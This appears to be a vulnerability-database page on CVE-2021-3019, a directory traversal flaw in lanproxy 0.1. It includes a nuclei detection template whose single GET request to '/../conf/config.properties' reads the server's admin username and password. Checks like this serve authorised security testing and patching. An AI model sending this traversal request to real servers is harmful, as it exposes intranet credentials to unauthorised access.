HexBrain

Browse / CVEs / CVE-2021-3019

CVE-2021-3019· lanproxy project / lanproxy· CWE-22

ffay lanproxy Directory Traversal

highseverity
7.5CVSS score
16.8%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.

Impact

This vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.

Fix

Apply the latest patch or upgrade to a version that has fixed the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/../conf/config.properties
Positive when: contains in header "application/octet-stream" AND contains "config.admin.username" and "config.admin.password" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3019 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-3019

info:
  name: ffay lanproxy Directory Traversal
  author: pikpikcu
  severity: high
  description: ffay lanproxy 0.1 is susceptible to a directory traversal vulnerability that could let attackers read /../conf/config.properties to obtain credentials for a connection to the intranet.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Apply the latest patch or upgrade to a version that has fixed the vulnerability.
  reference:
    - https://github.com/ffay/lanproxy/commits/master
    - https://github.com/maybe-why-not/lanproxy/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3019
    - https://github.com/manas3c/CVE-POC
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3019
    cwe-id: CWE-22
    epss-score: 0.16753
    epss-percentile: 0.97059
    cpe: cpe:2.3:a:lanproxy_project:lanproxy:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lanproxy_project
    product: lanproxy
  tags: cve2021,cve,lanproxy,lfi,lanproxy_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../conf/config.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"
        condition: and

      - type: word
        part: body
        words:
          - "config.admin.username"
          - "config.admin.password"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from